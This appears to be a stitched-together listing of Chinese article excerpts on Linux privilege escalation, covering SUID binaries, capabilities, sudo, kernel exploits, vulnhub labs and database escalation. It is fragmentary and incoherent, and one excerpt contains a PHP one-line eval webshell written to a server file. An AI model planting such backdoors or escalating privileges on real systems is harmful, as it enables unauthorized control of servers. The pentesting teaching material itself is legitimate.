suid(set uid)是linux中的一种特殊权限,它允许一个程序在执行时临时拥有其所有者的权限。这种特性可以被用来进行权限提升,即在某些情况下,普通用户可以通过执行具有SUID权限的程序来获得更高权限,例如root权限。
本文章适合正在学习提权的朋友,或者准备学习提权的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下提权的姿势和利用,也分享一些自己觉得好用的方法给大家,欢迎大家帮我补充,有什么好用的提权的方法也可以分享一下,大家共同进步。本篇有自己的理解,如果有什么不对的或者不好的地方希望大家不要喷我,但是欢迎帮我指正。
在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,来达到提升权限的目的。
SUID 代表 set user ID,是 Linux 的一项功能,允许用户以指定用户的权限执行文件。Linux bash 称之为壳程序,用于用户与操作系统进行交互。通常会根据不同的用户启动不同的权限。通过将 bash 程序标记为 SUID,所有者为 root,只要低权限用户执行程序,bash 就会以 root 权限执行。
前几天我在代码审计知识星球里发表了一个介绍nmap利用interactive模式提权的帖子:
GitHub - liamg/traitor: :arrow_up: :fire: Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock
这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 Linux 提权的伙伴来说,需要花不少时间去理解,所以这里是以个人通俗易懂的思路去写,希望能帮到热爱学习的朋友,先写这些提权方法。若有更好的提权方式,欢迎老哥们在评论里补充一下。
root用户讲可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行 domo.c
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
渗透测试中的提权是指在获取到目标系统的低权限后,由于所配置的用户权限可能不是特权用户或用户权限较低,操作的局限性很大。渗透人员通过各种手段提升权限,以获取更高级别的访问权限或系统控制权。
Linux 主机权限提升问题是普遍存在的。在Web 服务器、数据库、防火墙、IOT等基础设施中,大部分都运行着Linux 操作系统,鉴于Linux 设备在大量基础设施中的数量,组织加强和保护这些设备至关重要。在内网中,渗透测试人员也将遇到大量的Linux系统。
suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。 已知的可以用来提权的Linux可执行文件有: CopyNmap、Vim、find、Bash、More、Less、Nano、cp 比如常用的ping命令。ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:
我们现在既然有了低权限账号密码,那么我们就可以登陆3389等远程服务,从而使用一些本地提权的方法
提权,顾名思义就是提升权限,当我们 getshell ⼀个⽹站之后,⼤部分情况下我们的权限是⾮常低的,这时就需要利⽤提权,让原本的低权限(如只允许列⽬录)→ ⾼权限(拥有修改⽂件的能⼒),权限提升后,对接下来的渗透有很⼤帮助
近期在学习Linux提权,完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩,但在获得shell后的提权过程中,表现很出色。提权题目设计的逻辑严谨(不会出现突然的脑洞让你卡住),注重基础知识的考察,要求的知识面也很广,涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、Linux ACL访问控制权限等方面的知识,属于不可多得的精品之作,下面就开始这次靶场实战之旅。
绿盟科技研究通讯曾经发表过容器逃逸的技术文章《【云原生攻防研究】容器逃逸技术概览》[1],该文中探讨了已有的容器逃逸技术。本文将沿着上文的思路,主要从Linux内核漏洞的角度对容器逃逸进行深度介绍,包括攻击原理、自动化利用和防御思路等内容。
近日,国外安全媒体先后报道了一款名为Lilocked的Linux勒索病毒,该勒索病毒目前为止已感染了6000+台Linux主机,加密后缀为.lilocked。俄国的安全研究员认为,Lilocked很有可能是通过Exim邮件转发软件的最新远程执行漏洞CVE-2019-15846进行传播的。
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
本文档介绍在CentOS 7系统中利用带有suid权限的程序提权从而获取root shell的方法。
提权是一个过程,没有一劳永逸的解决方案,而很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码等都是影响你获取root权限的关键因素。
https://www.vulnhub.com/entry/ha-joker,379/
这里做一个小补充,主要讲一下关于利用sudo对指令提权以及普通用户无法使用sudo指令的问题。
提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。
今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
在日常的内网横向过程中,对于SMB、Mysql、SSH、Sqlserver、Oracle等服务的弱口令爆破是常用手段,重复的红队攻防比赛使得这些服务的弱口令越来越少了。所以在平时,ABC_123也会关注一些其它服务的弱口令提权方法,有时候会在内网横向中收到奇效。本期就分享一个在内网渗透中,遇到的PostgreSQL数据库提权案例,过程非常艰辛,但是收获不少。
1、内核提权。网上各种大佬的payload很多,关键在于要能找到利用哪个exp以及具体如何利用。省力点的方法是用searchsploit或者linux-exploit-suggester.sh来查找,熟悉之后难度也不大。
主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞上传shell,以夺得该服务器权限。
https://www.vulnhub.com/entry/lampiao-1,249/
ELF病毒背景 1.Android病毒发展趋势 自 2010 年开始,全球进入了移动互联网时代,作为主流移动操作系统Android也得到了迅猛发展。Android病毒也从简单到复杂,从单纯的dex病毒转向为elf病毒(其中elf是Linux下的可执行程序)。这一发展趋势有几个原因: 经过多年发展程序编写人员水平普遍提高,大量的linux程序移植到android系统,病毒也随之发展。 android系统碎片化严重,提取漏洞不断累积导致病毒攻击方式多元化 , elf文件具有比dex程序更难分析的特点。 常规杀
本文我要分享的是关于Apache struts2 CVE-2013–2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前缀为
一般情况下Linux的本地提权要用nc反弹出来,因为Linux下提升权限后得到的是交互式shell,需反弹才能进行下一步命令的执行
/etc/sudoers文件一般涉及到linux系统中关于sudo命令的权限配置问题。
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数如 user() 一样。
Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
在获得 linux 主机权限之后,比如获得了一个 webshell、拿到一个低权限的账号,通常测试人员为了获得更多信息会选择提升当前权限,也就 root 权限,这样系统上的所有内容都可以查看和使用。
之前 红队视角下Linux信息收集 中提到过提权的信息收集命令,但没有细讲。本篇文章将着重于各种linux提权手段,总结提权的条件和原理。
Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,挑战的目标是获取操作系统的root权限和查看flag。
前言:本篇开始我们要对Linux进行更深入的学习了,让我们来进入新篇章:Linux的权限理解!
靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
使用netdiscover二层扫描工具获取靶机IP为192.168.111.137后
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.
下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)
写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作,而在提权过程中发现当前用户具有/etc/passwd文件的写权限,此时我们可以写一个用户进去完成提权。
我做的是linux本地提权漏洞的复现。但本地提权漏洞并不像其他web漏洞一样,可以直接pull一个docker镜像就ok了,提权的洞复杂在于配置环境,基本都是在虚拟机里复现,一个镜像的大小基本都是上G的,镜像安装时间又长,每个洞要求的kernnel版本号又不同,依赖的库也不一样。环境装好了,漏洞的exp还不一定能打成功,我太难了
领取专属 10元无门槛券
手把手带您无忧上云